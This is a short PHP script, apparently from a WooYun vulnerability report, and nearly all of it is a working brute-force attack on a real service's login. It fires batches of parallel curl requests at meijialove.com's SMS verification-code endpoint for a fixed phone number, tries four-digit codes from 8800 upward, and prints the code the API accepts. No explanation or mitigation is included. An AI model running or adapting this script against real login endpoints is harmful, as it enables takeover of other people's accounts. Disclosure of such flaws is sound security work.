WooYun.org

<?php
	set_time_limit(0);
	$startTime = time();
	$i = 8800;
	while($i<=9999){
		$urls = array();
		$params = array();
		$mh = curl_multi_init();
		for($y = 1; $y<=5; $y++){
			$param = get_code($i+$y);
			$url = 'http://meijialove.com/v1/user/phone/verify_verification_code.json?debug_version=42&phone=18888888888&release_platform=iPhone&usage=user_login&verification_code='.$param;
			$urls[] = $url;
			$params[] = $param;
			$conn[$y] = curl_init($url);
			curl_setopt($conn[$y], CURLOPT_URL, $url);
			curl_setopt($conn[$y], CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($conn[$y], CURLOPT_HEADER, 0);
			curl_setopt($conn[$y], CURLOPT_CONNECTTIMEOUT, 60);
			curl_multi_add_handle($mh, $conn[$y]);
		}
		do{
			curl_multi_exec($mh, $active);
		}while($active);
		foreach($urls as $k=>$url){
			$data = curl_multi_getcontent($conn[$k+1]);
			$output = json_decode($data,true);
			if($output['error_code'] === 0){
				echo $params[$k];
				exit;
			}
			curl_multi_remove_handle($mh, $conn[$k+1]);
			curl_close($conn[$k+1]);
		}
		curl_multi_close($mh);
		$i = $i + 5;
	}
	function get_code($i){
		$len = strlen($i);
		$times = 4-$len;
		return str_repeat('0',$times).$i;
	}
?>